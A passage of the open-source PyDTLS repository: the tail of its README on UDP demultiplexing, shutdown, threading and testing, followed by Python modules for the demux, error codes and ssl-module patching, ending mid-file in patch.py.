Demultiplexing 158 | 159 | At the network io layer, only datagrams from its connected peer must be 160 | passed to a **SSLConnection** or **SSLSocket** object (unless the object 161 | is unconnected on the server-side, in which case it can be in listening 162 | mode, the initial server-side socket whose role it is to listen for 163 | incoming client connection requests). 164 | 165 | The initial server-side listening socket is not useful for performing this 166 | datagram routing function. This is because it must remain unconnected and 167 | ready to receive additional connection requests from new, unknown clients. 168 | 169 | The function of passing incoming datagrams to the proper connection is 170 | performed by the *dtls.demux* package. **SSLConnection** requests a new 171 | connection from the demux when a handshake has cleared the cookie 172 | exchange phase. An efficient implementation of this request is provided 173 | by the *osnet* module of the demux package: it creates a new socket that 174 | is bound to the same network interface and port as the listening socket, 175 | but connected to the peer. UDP stacks such as the one included with Linux 176 | route incoming datagrams to such a connected socket in preference to an 177 | unconnected socket bound to the same port. 178 | 179 | Unfortunately such is not the behavior on Microsoft Windows. Windows 180 | UDP routes datagrams to whichever currently existing socket bound to 181 | the particular port the earliest (and whether or not that socket is 182 | unconnected, or connected to the datagram's peer, or a different 183 | peer). Other sockets bound to the same port will not receive traffic, 184 | if and until they become the earliest bound socket because another 185 | socket is closed. 186 | 187 | The demux package therefore provides and automatically selects the module 188 | *router* on Windows platforms. This module also creates a new socket when 189 | receiving a new connection request; but instead of binding this socket 190 | to the same port as the listening socket, it binds to a new ephemeral 191 | port. *router* then forwards datagrams originating from the peer for which 192 | a connection was requested to the corresponding socket. 193 | 194 | For efficiency's sake, no forwarding is performed on outgoing traffic. 195 | Instead, **SSLConnection** directs outgoing traffic from the original 196 | listening socket, using *sendto*. At the OpenSSL level this requires 197 | separate read and write datagram BIO's for an "SSL" instance, one in 198 | "connected" state and one in "peer set" state, respectively, and 199 | associated with two separate network sockets. 200 | 201 | From the perspective of a PyDTLS user, this selection of and 202 | difference between demux implementations should be transparent, with 203 | the possible exception of performance deviation. This transparency 204 | does however have some limits: for example, when *router* is in use, 205 | the *accept* methods can return *None*. This happens when 206 | **SSLConnection** detects that the demux has forwarded a datagram to a 207 | known connection instead of initiating a connection to a new peer 208 | through *accept*. Returning *None* in this case is important whenever 209 | non-blocking sockets or sockets with timeouts are used, since another 210 | socket might now be readable as a result of the forwarded 211 | datagram. *accept* must return so that the application can iterate on 212 | its asynchronous *select* loop. 213 | 214 | ## Shutdown and Unwrapping 215 | 216 | PyDTLS implements the SSL/TLS shutdown protocol as it has been adapted 217 | for DTLS. **SSLConnection's** *shutdown* and **SSLSocket's** *unwrap* 218 | invoke this protocol. As is the case with DTLS handshaking in general, 219 | applications must be prepared to use the *get_timeout* and 220 | *handle_timeout* methods in addition to re-invoking *shutdown* or 221 | *unwrap* when sockets become readable and an exception carried 222 | SSL_ERROR_WANT_READ. (See more on asynchronous IO in the Testing section.) 223 | 224 | **SSLConnection's** *shutdown* and **SSLSocket's** *unwrap* return a 225 | (possibly new) socket that can be used for unsecured communication 226 | with the peer, as set forth by the *ssl* module. The demux 227 | infrastructure remains in use for this communication until the 228 | returned socket is cleaned up. Note that when the *router* demux is 229 | in use, the object returned will be one derived from 230 | *socket.socket*. This is because the send and recv paths must still be 231 | directed to two different OS sockets. In addition, the right thing 232 | happens if secured communication is resumed over such a socket by 233 | passing it to *ssl.wrap_socket* or the **SSLConnection** 234 | constructor. If *osnet* is used, an actual *socket.socket* instance is 235 | returned. 236 | 237 | ## Framework Compatibility 238 | 239 | PyDTLS sockets have been tested under the following usage modes: 240 | 241 | * Using blocking sockets and sockets with timeouts in 242 | multi-threaded UDP servers 243 | * Using non-blocking sockets, and in conjunction with the 244 | asynchronous socket handler, asyncore 245 | * Using blocking sockets, and in conjunction with the network 246 | server framework SocketServer - ThreadingTCPServer (this works 247 | because of PyDTLS's emulation of connection-related calls) 248 | 249 | ## Multi-thread Support 250 | 251 | Using multiple threads with OpenSSL requires implementing a locking 252 | callback. PyDTLS does implement this, and therefore multi-threaded 253 | programming with PyDTLS is safe in any environment. However, being a 254 | pure Python library, these callbacks do carry some overhead. The *ssl* 255 | module implements an equivalent locking callback in its C extension 256 | module. Not requiring interpreter re-entry, this approach can be 257 | expected to perform better. PyDTLS therefore queries OpenSSL as to 258 | whether a locking callback is already in place, and does not overwrite 259 | it if there is. Loading *ssl* can therefore improve performance, even 260 | when only the *sslconnection* interface is used. 261 | 262 | Note that loading order does not matter: to obtain the performance 263 | benefit, *ssl* can be loaded before or after the dtls package. This is 264 | because *ssl* does not do an equivalent existing locking callback 265 | check, and will simply overwrite the PyDTLS callback if it has already 266 | been installed. But *ssl* should not be loaded while *dtls* operation 267 | is already in progress, when some locks may be in their acquired 268 | state. 269 | 270 | Also note that this performance enhancement is available only on 271 | platforms where PyDTLS loads the same OpenSSL shared object as 272 | *ssl*. On Ubuntu 12.04, for example, this is the case, but on 273 | Microsoft Windows it is not. 274 | 275 | ## Testing 276 | 277 | A simple echo server is available to be executed from the project root 278 | directory with `python -m dtls.test.echo_seq`. The echo server is 279 | reachable using the code snippet at the top of this document, using port 280 | 28000 at "localhost". 281 | 282 | Unit test suites can be executed from the project root directory with 283 | `python -m dtls.test.unit [-v]` and `python -m dtls.test.unit_wrapper` 284 | (for the client and server wrappers) 285 | 286 | Almost all of the Python standard library's *ssl* unit tests from the 287 | module *test_ssl.py* have been ported to *dtls.test.unit.py*. All tests 288 | have been adjusted to operate with datagram sockets. On Linux, each 289 | test is executed four times, varying the address family among IPv4 and 290 | IPv6 and the demux among *osnet* and *router*. On Windows, where 291 | *osnet* is unavailable, each test is run twice, once with IPv4 and once 292 | with IPv6. 293 | 294 | The unit test suite includes tests for each of the above-mentioned 295 | compatible frameworks. The class **AsyncoreEchoServer** serves as an 296 | example of how to use non-blocking datagram sockets and implement the 297 | resulting timeout detection requirements. DTLS in general and OpenSSL 298 | in particular require being called back when used with non-blocking 299 | sockets (or sockets with timeout option) after DTLS timeouts expire to 300 | handle packet loss using re-transmission during a 301 | handshake. Handshaking may occur during any read or write operation, 302 | even after an initial handshake completes successfully, in case 303 | renegotiation is requested by a peer. 304 | 305 | Running with the -v switch executes all unit tests in verbose mode. 306 | 307 | dtls/test/test_perf.py implements an interactive performance test 308 | suite that compares the raw throughput of TCP, UDP, SSL, and DTLS. 309 | It can be executed locally through the loopback interface, or between 310 | remote clients and servers. In the latter case, test jobs are sent to 311 | remote connected clients whenever a suite run is initiated through the 312 | interactive interface. Run test_perf.py -h for more information. 313 | 314 | It should be noted that comparing the performance of protocols that 315 | don't offer congestion control (UDP and DTLS) with those that do (TCP 316 | and SSL) is a difficult undertaking. Raw throughput even across 317 | gigabit network links can be expected to suffer without congestion 318 | control and peers that generate data as fast as possible without 319 | throttling (as this test does): the link's throughput will drop 320 | significantly as it enters congestion collapse. Similarly, loopback is 321 | an imperfect test interface since it rarely drops packets, and never 322 | duplicates or reorders them (thus negating the relative performance 323 | benefits of DTLS over SSL). Nevertheless, some useful insights can be 324 | gained by observing the operation of test_perf.py, including software 325 | stack behavior in the presence of some amount of packet loss. 326 | 327 | ## Logging 328 | 329 | The *dtls* package and its sub-packages log various occurrences, 330 | primarily events that can aid debugging. Especially *router* emits many 331 | messages when the logging level is set to at least *logging.DEBUG*. 332 | dtls/test/echo_seq.py activates this logging level during its operation. 333 | 334 | ## Currently Supported Platforms 335 | 336 | At the time of initial release, PyDTLS 0.1.0 has been tested on Ubuntu 337 | 12.04.1 LTS 32-bit and 64-bit, as well as Microsoft Windows 7 32-bit 338 | and 64-bit, using CPython 2.7.3. Patches with additional platform 339 | ports are welcome. 340 | 341 | As of release 1.2.0, PyDTLS is tested on Ubuntu 16.04 LTS as well as 342 | Microsoft Windows 10, using CPython 2.7.13. 343 | -------------------------------------------------------------------------------- /pydtls/dtls/__init__.py: -------------------------------------------------------------------------------- 1 | # PyDTLS: datagram TLS for Python. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """PyDTLS package 20 | 21 | This package exports OpenSSL's DTLS support to Python. Calling its patch 22 | function will add the constant PROTOCOL_DTLSv1 to the Python standard library's 23 | ssl module. Subsequently passing a datagram socket to that module's 24 | wrap_socket function (or instantiating its SSLSocket class with a datagram 25 | socket) will activate this module's DTLS implementation for the returned 26 | SSLSocket instance. 27 | 28 | Instead of or in addition to invoking the patch functionality, the 29 | SSLConnection class can be used directly for secure communication over datagram 30 | sockets. 31 | 32 | wrap_socket's parameters and their semantics have been maintained. 33 | """ 34 | 35 | VERSION = 1, 2, 3 36 | 37 | def _prep_bins(): 38 | """ 39 | Support for running straight out of a cloned source directory instead 40 | of an installed distribution 41 | """ 42 | 43 | from os import path 44 | from sys import platform, maxsize 45 | from shutil import copy 46 | bit_suffix = "-x86_64" if maxsize > 2**32 else "-x86" 47 | package_root = path.abspath(path.dirname(__file__)) 48 | prebuilt_path = path.join(package_root, "prebuilt", platform + bit_suffix) 49 | config = {"MANIFEST_DIR": prebuilt_path} 50 | try: 51 | execfile(path.join(prebuilt_path, "manifest.pycfg"), config) 52 | except IOError: 53 | return # there are no prebuilts for this platform - nothing to do 54 | files = map(lambda x: path.join(prebuilt_path, x), config["FILES"]) 55 | for prebuilt_file in files: 56 | try: 57 | copy(path.join(prebuilt_path, prebuilt_file), package_root) 58 | except IOError: 59 | pass 60 | 61 | _prep_bins() # prepare before module imports 62 | 63 | from patch import do_patch 64 | from sslconnection import SSLContext, SSL, SSLConnection 65 | from demux import force_routing_demux, reset_default_demux 66 | -------------------------------------------------------------------------------- /pydtls/dtls/demux/__init__.py: -------------------------------------------------------------------------------- 1 | # Demux loader: imports a demux module appropriate for this platform. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """UDP Demux 20 | 21 | A UDP demux is a wrapper for a datagram socket. The demux must be initialized 22 | with an unconnected datagram socket, referred to as the root socket. Once 23 | initialized, the demux will create new connections to peer endpoints upon 24 | arrival of datagrams from a new endpoint. Such a connection is of a 25 | socket-derived type, and will receive datagrams only from the peer endpoint for 26 | which it was created, and that are sent to the root socket. 27 | 28 | Connections must be used for receiving datagrams only. Outgoing traffic should 29 | be sent through the root socket. 30 | 31 | Varying implementations of this functionality are provided for different 32 | platforms. 33 | """ 34 | 35 | import sys 36 | 37 | if sys.platform.startswith('win') or sys.platform.startswith('cygwin'): 38 | from router import UDPDemux 39 | _routing = True 40 | else: 41 | from osnet import UDPDemux 42 | _routing = False 43 | _default_demux = None 44 | 45 | def force_routing_demux(): 46 | global _routing 47 | if _routing: 48 | return False # no change - already loaded 49 | global UDPDemux, _default_demux 50 | import router 51 | _default_demux = UDPDemux 52 | UDPDemux = router.UDPDemux 53 | _routing = True 54 | return True # new router loaded and switched 55 | 56 | def reset_default_demux(): 57 | global UDPDemux, _routing, _default_demux 58 | if _default_demux: 59 | UDPDemux = _default_demux 60 | _default_demux = None 61 | _routing = not _routing 62 | 63 | __all__ = ["UDPDemux", "force_routing_demux", "reset_default_demux"] 64 | -------------------------------------------------------------------------------- /pydtls/dtls/demux/osnet.py: -------------------------------------------------------------------------------- 1 | # OSNet demux: uses the OS network stack to demultiplex incoming datagrams 2 | # among sockets bound to the same ports. 3 | 4 | # Copyright 2012 Ray Brown 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # The License is also distributed with this work in the file named "LICENSE." 13 | # 14 | # Unless required by applicable law or agreed to in writing, software 15 | # distributed under the License is distributed on an "AS IS" BASIS, 16 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | # See the License for the specific language governing permissions and 18 | # limitations under the License. 19 | 20 | """OS Network UDP Demux 21 | 22 | This module implements a demux that uses the OS network stack to demultiplex 23 | datagrams coming from different peers among datagram sockets that are all bound 24 | to the port at which these datagrams are being received. The network stack is 25 | instructed as to which socket an incoming datagram should be sent to by 26 | connecting the destination socket to the peer endpoint. 27 | 28 | The OSNet demux requires operating system functionality that exists in the 29 | Linux kernel, but not in the Windows network stack. 30 | 31 | Classes: 32 | 33 | UDPDemux -- a network stack configuring UDP demux 34 | 35 | Exceptions: 36 | 37 | InvalidSocketError -- exception raised for improper socket objects 38 | KeyError -- raised for unknown peer addresses 39 | """ 40 | 41 | import socket 42 | from logging import getLogger 43 | from ..err import InvalidSocketError 44 | 45 | _logger = getLogger(__name__) 46 | 47 | 48 | class UDPDemux(object): 49 | """OS network stack configuring demux 50 | 51 | This class implements a demux that creates sockets connected to peer 52 | network endpoints, configuring the network stack to demultiplex 53 | incoming datagrams from these endpoints among these sockets. 54 | 55 | Methods: 56 | 57 | get_connection -- create a new connection or retrieve an existing one 58 | service -- this method does nothing for this type of demux 59 | """ 60 | 61 | def __init__(self, datagram_socket): 62 | """Constructor 63 | 64 | Arguments: 65 | datagram_socket -- the root socket; this must be a bound, unconnected 66 | datagram socket 67 | """ 68 | 69 | if datagram_socket.type != socket.SOCK_DGRAM: 70 | raise InvalidSocketError("datagram_socket is not of " + 71 | "type SOCK_DGRAM") 72 | try: 73 | datagram_socket.getsockname() 74 | except: 75 | raise InvalidSocketError("datagram_socket is unbound") 76 | try: 77 | datagram_socket.getpeername() 78 | except: 79 | pass 80 | else: 81 | raise InvalidSocketError("datagram_socket is connected") 82 | 83 | datagram_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 84 | self._datagram_socket = datagram_socket 85 | 86 | def get_connection(self, address): 87 | """Create or retrieve a muxed connection 88 | 89 | Arguments: 90 | address -- a peer endpoint in IPv4/v6 address format; None refers 91 | to the connection for unknown peers 92 | 93 | Return: 94 | a bound, connected datagram socket instance, or the root socket 95 | in case address was None 96 | """ 97 | 98 | if not address: 99 | return self._datagram_socket 100 | 101 | # Create a new datagram socket bound to the same interface and port as 102 | # the root socket, but connected to the given peer 103 | conn = socket.socket(self._datagram_socket.family, 104 | self._datagram_socket.type, 105 | self._datagram_socket.proto) 106 | conn.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 107 | conn.bind(self._datagram_socket.getsockname()) 108 | conn.connect(address) 109 | _logger.debug("Created new connection for address: %s", address) 110 | return conn 111 | 112 | @staticmethod 113 | def service(): 114 | """Service the root socket 115 | 116 | This type of demux performs no servicing work on the root socket, 117 | and instead advises the caller to proceed to listening on the root 118 | socket. 119 | """ 120 | 121 | return True 122 | -------------------------------------------------------------------------------- /pydtls/dtls/demux/router.py: -------------------------------------------------------------------------------- 1 | # Routing demux: forwards datagrams from the root socket to connected 2 | # sockets bound to ephemeral ports. 3 | 4 | # Copyright 2012 Ray Brown 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # The License is also distributed with this work in the file named "LICENSE." 13 | # 14 | # Unless required by applicable law or agreed to in writing, software 15 | # distributed under the License is distributed on an "AS IS" BASIS, 16 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | # See the License for the specific language governing permissions and 18 | # limitations under the License. 19 | 20 | """Routing UDP Demux 21 | 22 | This module implements an explicitly routing UDP demux. New connections create 23 | datagram sockets bound to ephemeral ports on the loopback interface and 24 | connected to a forwarding socket. The demux services incoming datagrams by 25 | receiving them from the root socket and sending them to the socket belonging to 26 | the connection that is associated with the sending peer. 27 | 28 | A routing UDP demux can be used on any platform. 29 | 30 | Classes: 31 | 32 | UDPDemux -- an explicitly routing UDP demux 33 | 34 | Exceptions: 35 | 36 | InvalidSocketError -- exception raised for improper socket objects 37 | KeyError -- raised for unknown peer addresses 38 | """ 39 | 40 | import socket 41 | from logging import getLogger 42 | from weakref import WeakValueDictionary 43 | from ..err import InvalidSocketError 44 | 45 | _logger = getLogger(__name__) 46 | 47 | UDP_MAX_DGRAM_LENGTH = 65527 48 | 49 | 50 | class UDPDemux(object): 51 | """Explicitly routing UDP demux 52 | 53 | This class implements a demux that forwards packets from the root 54 | socket to sockets belonging to connections. It does this whenever its 55 | service method is invoked. 56 | 57 | Methods: 58 | 59 | remove_connection -- remove an existing connection 60 | service -- distribute datagrams from the root socket to connections 61 | forward -- forward a stored datagram to a connection 62 | """ 63 | 64 | _forwarding_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 65 | _forwarding_socket.bind(('127.0.0.1', 0)) 66 | 67 | def __init__(self, datagram_socket): 68 | """Constructor 69 | 70 | Arguments: 71 | datagram_socket -- the root socket; this must be a bound, unconnected 72 | datagram socket 73 | """ 74 | 75 | if datagram_socket.type != socket.SOCK_DGRAM: 76 | raise InvalidSocketError("datagram_socket is not of " + 77 | "type SOCK_DGRAM") 78 | try: 79 | datagram_socket.getsockname() 80 | except: 81 | raise InvalidSocketError("datagram_socket is unbound") 82 | try: 83 | datagram_socket.getpeername() 84 | except: 85 | pass 86 | else: 87 | raise InvalidSocketError("datagram_socket is connected") 88 | 89 | self.datagram_socket = datagram_socket 90 | self.payload = "" 91 | self.payload_peer_address = None 92 | self.connections = WeakValueDictionary() 93 | 94 | def get_connection(self, address): 95 | """Create or retrieve a muxed connection 96 | 97 | Arguments: 98 | address -- a peer endpoint in IPv4/v6 address format; None refers 99 | to the connection for unknown peers 100 | 101 | Return: 102 | a bound, connected datagram socket instance 103 | """ 104 | 105 | if self.connections.has_key(address): 106 | return self.connections[address] 107 | 108 | # We need a new datagram socket on a dynamically assigned ephemeral port 109 | conn = socket.socket(self._forwarding_socket.family, 110 | self._forwarding_socket.type, 111 | self._forwarding_socket.proto) 112 | conn.bind((self._forwarding_socket.getsockname()[0], 0)) 113 | conn.connect(self._forwarding_socket.getsockname()) 114 | if not address: 115 | conn.setblocking(0) 116 | self.connections[address] = conn 117 | _logger.debug("Created new connection for address: %s", address) 118 | return conn 119 | 120 | def remove_connection(self, address): 121 | """Remove a muxed connection 122 | 123 | Arguments: 124 | address -- an address that was previously returned by the service 125 | method and whose connection has not yet been removed 126 | 127 | Return: 128 | the socket object whose connection has been removed 129 | """ 130 | 131 | return self.connections.pop(address) 132 | 133 | def service(self): 134 | """Service the root socket 135 | 136 | Read from the root socket and forward one datagram to a 137 | connection. The call will return without forwarding data 138 | if any of the following occurs: 139 | 140 | * An error is encountered while reading from the root socket 141 | * Reading from the root socket times out 142 | * The root socket is non-blocking and has no data available 143 | * An empty payload is received 144 | * A non-empty payload is received from an unknown peer (a peer 145 | for which get_connection has not yet been called); in this case, 146 | the payload is held by this instance and will be forwarded when 147 | the forward method is called 148 | 149 | Return: 150 | if the datagram received was from a new peer, then the peer's 151 | address; otherwise None 152 | """ 153 | 154 | self.payload, self.payload_peer_address = \ 155 | self.datagram_socket.recvfrom(UDP_MAX_DGRAM_LENGTH) 156 | _logger.debug("Received datagram from peer: %s", 157 | self.payload_peer_address) 158 | if not self.payload: 159 | self.payload_peer_address = None 160 | return 161 | if self.connections.has_key(self.payload_peer_address): 162 | self.forward() 163 | else: 164 | return self.payload_peer_address 165 | 166 | def forward(self): 167 | """Forward a stored datagram 168 | 169 | When the service method returns the address of a new peer, it holds 170 | the datagram from that peer in this instance. In this case, this 171 | method will perform the forwarding step. The target connection is the 172 | one associated with address None if get_connection has not been called 173 | since the service method returned the new peer's address, and the 174 | connection associated with the new peer's address if it has. 175 | """ 176 | 177 | assert self.payload 178 | assert self.payload_peer_address 179 | if self.connections.has_key(self.payload_peer_address): 180 | conn = self.connections[self.payload_peer_address] 181 | default = False 182 | else: 183 | conn = self.connections[None] # propagate exception if not created 184 | default = True 185 | _logger.debug("Forwarding datagram from peer: %s, default: %s", 186 | self.payload_peer_address, default) 187 | self._forwarding_socket.sendto(self.payload, conn.getsockname()) 188 | self.payload = "" 189 | self.payload_peer_address = None 190 | -------------------------------------------------------------------------------- /pydtls/dtls/err.py: -------------------------------------------------------------------------------- 1 | # DTLS exceptions. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """DTLS Errors 20 | 21 | This module defines error functionality and exception types for the dtls 22 | package. 23 | 24 | Classes: 25 | 26 | SSLError -- exception raised for I/O errors 27 | InvalidSocketError -- exception raised for improper socket objects 28 | """ 29 | 30 | from socket import error as socket_error 31 | 32 | SSL_ERROR_NONE = 0 33 | SSL_ERROR_SSL = 1 34 | SSL_ERROR_WANT_READ = 2 35 | SSL_ERROR_WANT_WRITE = 3 36 | SSL_ERROR_WANT_X509_LOOKUP = 4 37 | SSL_ERROR_SYSCALL = 5 38 | SSL_ERROR_ZERO_RETURN = 6 39 | SSL_ERROR_WANT_CONNECT = 7 40 | SSL_ERROR_WANT_ACCEPT = 8 41 | 42 | ERR_BOTH_KEY_CERT_FILES = 500 43 | ERR_BOTH_KEY_CERT_FILES_SVR = 298 44 | ERR_NO_CERTS = 331 45 | ERR_NO_CIPHER = 501 46 | ERR_READ_TIMEOUT = 502 47 | ERR_WRITE_TIMEOUT = 503 48 | ERR_HANDSHAKE_TIMEOUT = 504 49 | ERR_PORT_UNREACHABLE = 505 50 | 51 | ERR_WRONG_SSL_VERSION = 0x1409210A 52 | ERR_WRONG_VERSION_NUMBER = 0x1408A10B 53 | ERR_COOKIE_MISMATCH = 0x1408A134 54 | ERR_CERTIFICATE_VERIFY_FAILED = 0x14090086 55 | ERR_NO_SHARED_CIPHER = 0x1408A0C1 56 | ERR_SSL_HANDSHAKE_FAILURE = 0x1410C0E5 57 | ERR_TLSV1_ALERT_UNKNOWN_CA = 0x14102418 58 | 59 | def patch_ssl_errors(): 60 | import ssl 61 | errors = [i for i in globals().iteritems() if type(i[1]) == int and str(i[0]).startswith('ERR_')] 62 | for k, v in errors: 63 | if not hasattr(ssl, k): 64 | setattr(ssl, k, v) 65 | 66 | class SSLError(socket_error): 67 | """This exception is raised by modules in the dtls package.""" 68 | def __init__(self, *args): 69 | super(SSLError, self).__init__(*args) 70 | 71 | 72 | class InvalidSocketError(Exception): 73 | """There is a problem with a socket passed to the dtls package.""" 74 | def __init__(self, *args): 75 | super(InvalidSocketError, self).__init__(*args) 76 | 77 | 78 | def _make_opensslerror_class(): 79 | global _OpenSSLError 80 | class __OpenSSLError(SSLError): 81 | """ 82 | This exception is raised when an error occurs in the OpenSSL library 83 | """ 84 | def __init__(self, ssl_error, errqueue, result, func, args): 85 | self.ssl_error = ssl_error 86 | self.errqueue = errqueue 87 | self.result = result 88 | self.func = func 89 | self.args = args 90 | SSLError.__init__(self, ssl_error, errqueue, 91 | result, func, args) 92 | 93 | _OpenSSLError = __OpenSSLError 94 | 95 | _make_opensslerror_class() 96 | 97 | def openssl_error(): 98 | """Return the OpenSSL error type for use in exception clauses""" 99 | return _OpenSSLError 100 | 101 | def raise_as_ssl_module_error(): 102 | """Exceptions raised from this module are instances of ssl.SSLError""" 103 | import ssl 104 | global SSLError 105 | SSLError = ssl.SSLError 106 | _make_opensslerror_class() 107 | 108 | def raise_ssl_error(code, nested=None): 109 | """Raise an SSL error with the given error code""" 110 | err_string = str(code) + ": " + _ssl_errors[code] 111 | if nested: 112 | raise SSLError(code, err_string + str(nested)) 113 | raise SSLError(code, err_string) 114 | 115 | _ssl_errors = { 116 | ERR_NO_CERTS: "No root certificates specified for verification " + \ 117 | "of other-side certificates", 118 | ERR_BOTH_KEY_CERT_FILES: "Both the key & certificate files " + \ 119 | "must be specified", 120 | ERR_BOTH_KEY_CERT_FILES_SVR: "Both the key & certificate files must be " + \ 121 | "specified for server-side operation", 122 | ERR_NO_CIPHER: "No cipher can be selected.", 123 | ERR_READ_TIMEOUT: "The read operation timed out", 124 | ERR_WRITE_TIMEOUT: "The write operation timed out", 125 | ERR_HANDSHAKE_TIMEOUT: "The handshake operation timed out", 126 | ERR_PORT_UNREACHABLE: "The peer address is not reachable", 127 | } 128 | -------------------------------------------------------------------------------- /pydtls/dtls/patch.py: -------------------------------------------------------------------------------- 1 | # Patch: patching of the Python stadard library's ssl module for transparent 2 | # use of datagram sockets. 3 | 4 | # Copyright 2012 Ray Brown 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # The License is also distributed with this work in the file named "LICENSE." 13 | # 14 | # Unless required by applicable law or agreed to in writing, software 15 | # distributed under the License is distributed on an "AS IS" BASIS, 16 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | # See the License for the specific language governing permissions and 18 | # limitations under the License. 19 | 20 | """Patch 21 | 22 | This module is used to patch the Python standard library's ssl module. Patching 23 | has the following effects: 24 | 25 | * The constant PROTOCOL_DTLSv1 is added at ssl module level 26 | * DTLSv1's protocol name is added to the ssl module's id-to-name dictionary 27 | * The constants DTLS_OPENSSL_VERSION* are added at the ssl module level 28 | * Instantiation of ssl.SSLSocket with sock.type == socket.SOCK_DGRAM is 29 | supported and leads to substitution of this module's DTLS code paths for 30 | that SSLSocket instance 31 | * Direct instantiation of SSLSocket as well as instantiation through 32 | ssl.wrap_socket are supported 33 | * Invocation of the function get_server_certificate with a value of 34 | PROTOCOL_DTLSv1 for the parameter ssl_version is supported 35 | """ 36 | 37 | from socket import socket, getaddrinfo, _delegate_methods, error as socket_error 38 | from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM 39 | from ssl import PROTOCOL_SSLv23, CERT_NONE 40 | from types import MethodType 41 | from weakref import proxy 42 | import errno 43 | 44 | from sslconnection import SSLConnection, PROTOCOL_DTLS, PROTOCOL_DTLSv1, PROTOCOL_DTLSv1_2 45 | from sslconnection import DTLS_OPENSSL_VERSION_NUMBER, DTLS_OPENSSL_VERSION, DTLS_OPENSSL_VERSION_INFO 46 | from sslconnection import SSL_BUILD_CHAIN_FLAG_NONE, SSL_BUILD_CHAIN_FLAG_UNTRUSTED, \ 47 | SSL_BUILD_CHAIN_FLAG_NO_ROOT, SSL_BUILD_CHAIN_FLAG_CHECK, SSL_BUILD_CHAIN_FLAG_IGNORE_ERROR, SSL_BUILD_CHAIN_FLAG_CLEAR_ERROR 48 | from err import raise_as_ssl_module_error, patch_ssl_errors 49 | 50 | 51 | def do_patch(): 52 | import ssl as _ssl # import to be avoided if ssl module is never patched 53 | global _orig_SSLSocket_init, _orig_get_server_certificate 54 | global ssl 55 | ssl = _ssl 56 | if hasattr(ssl, "PROTOCOL_DTLSv1"): 57 | return 58 | _orig_wrap_socket = ssl.wrap_socket 59 | ssl.wrap_socket = _wrap_socket 60 | ssl.PROTOCOL_DTLS = PROTOCOL_DTLS 61 | ssl.PROTOCOL_DTLSv1 = PROTOCOL_DTLSv1 62 | ssl.PROTOCOL_DTLSv1_2 = PROTOCOL_DTLSv1_2 63 | ssl._PROTOCOL_NAMES[PROTOCOL_DTLS] = "DTLS" 64 | ssl._PROTOCOL_NAMES[PROTOCOL_DTLSv1] = "DTLSv1" 65 | ssl._PROTOCOL_NAMES[PROTOCOL_DTLSv1_2] = "DTLSv1.2" 66 | ssl.DTLS_OPENSSL_VERSION_NUMBER = DTLS_OPENSSL_VERSION_NUMBER 67 | ssl.DTLS_OPENSSL_VERSION = DTLS_OPENSSL_VERSION 68 | ssl.DTLS_OPENSSL_VERSION_INFO = DTLS_OPENSSL_VERSION_INFO 69 | ssl.SSL_BUILD_CHAIN_FLAG_NONE = SSL_BUILD_CHAIN_FLAG_NONE 70 | ssl.SSL_BUILD_CHAIN_FLAG_UNTRUSTED = SSL_BUILD_CHAIN_FLAG_UNTRUSTED 71 | ssl.SSL_BUILD_CHAIN_FLAG_NO_ROOT = SSL_BUILD_CHAIN_FLAG_NO_ROOT 72 | ssl.SSL_BUILD_CHAIN_FLAG_CHECK = SSL_BUILD_CHAIN_FLAG_CHECK 73 | ssl.SSL_BUILD_CHAIN_FLAG_IGNORE_ERROR = SSL_BUILD_CHAIN_FLAG_IGNORE_ERROR 74 | ssl.SSL_BUILD_CHAIN_FLAG_CLEAR_ERROR = SSL_BUILD_CHAIN_FLAG_CLEAR_ERROR 75 | _orig_SSLSocket_init = ssl.SSLSocket.__init__ 76 | _orig_get_server_certificate = ssl.get_server_certificate 77 | ssl.SSLSocket.__init__ = _SSLSocket_init 78 | ssl.get_server_certificate = 